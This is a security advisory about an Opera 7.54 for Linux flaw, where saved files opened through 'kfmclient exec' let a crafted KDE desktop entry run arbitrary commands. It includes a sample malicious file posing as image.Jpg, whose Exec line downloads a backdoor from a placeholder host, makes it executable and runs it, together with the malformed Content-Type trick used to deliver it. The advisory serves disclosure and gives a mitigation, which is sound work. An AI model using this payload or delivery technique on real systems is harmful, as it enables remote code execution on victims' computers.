Author: Giovanni Delvecchio e-mail: badpenguin@xxxxxxxxxx
Original Advisory: http://www.zone-h.org/advisories/read/id=6503
Tested version: Opera 7.54 linux version with Kde 3.2.3
Problem:
=======
Opera for linux uses "kfmclient exec" as "Default Application" to handle
saved files.
This could be used by malicious remote users to execute arbitrary shell
commands on a target system.
Indeed, the command "kfmclient exec" could be used to open a "Kde Desktop Entry" and therefore execute the command within the "Exec=" entry.
Example of [KDE Desktop Entry]:
________________________________
# KDE Config File [KDE Desktop Entry] SwallowExec= SwallowTitle= BinaryPattern= MimeType= Exec="Any arbitrary command" Icon= TerminalOptions= Path= Type=Application Terminal=0 ______________________________
Possible method of Exploitation =========================
This method of exploitation needs that a particular file name extension
is used.
If page.Htm is used as file name and "kfmclient exec page.Htm" is opened , the command in "Exec=" entry will be executed.
Instead, If "page.htm" is used as file name, it will not be opened like a "kde desktop entry" but it will be viewed in konqueror.
It works also with Jpg,Gif etc.. , but not with jpg,gif..extension, since
the "system" is case sensitive.
Attack scenario:
1- A user clicks on a link which requires http://malicious_server/image.Jpg
2- malicious_server responds with an unknown Content-Type field , for
example Content-Type: image/Jpeg. (note the dot at the end), so Opera will show a dialog window.
3- if a user chooses "Open" to view image.Jpg, it will be opened by "kfmclient exec" command, since kfmclient is the "Default Application"
4- Image.Jpg is a kde desktop entry :
--------image.Jpg----------
# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec=/bin/bash -c wget\thttp://malicious_site/backdoor;chmod\t777\tbackdoor;./backdoor
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0
---- end of image.Jpg-------
Note: \t is an horizontal tab.
In this case a backdoor will be downloaded on victim's computer and executed.
Solution: ======== Disable "kfmclient exec" as default application
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